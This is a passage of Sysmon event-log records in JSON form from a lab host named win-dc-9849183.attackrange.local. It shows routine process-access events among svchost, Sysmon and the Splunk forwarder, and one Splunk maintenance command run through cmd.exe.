C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00106E460500}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00106E460500}","TargetProcessId":"3728","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.543\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-00106E460500}\r\nSourceProcessId: 3728\r\nSourceThreadId: 4648\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.543","SourceProcessGUID":"{90617006-407E-5F2D-0000-00106E460500}","SourceProcessId":"3728","SourceThreadId":"4648","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nProcessGuid: {90617006-407E-5F2D-0000-00103E490500}\r\nProcessId: 4892\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","ProcessGuid":"{90617006-407E-5F2D-0000-00103E490500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00103E490500}\r\nTargetProcessId: 4892\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00103E490500}","TargetProcessId":"4892","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 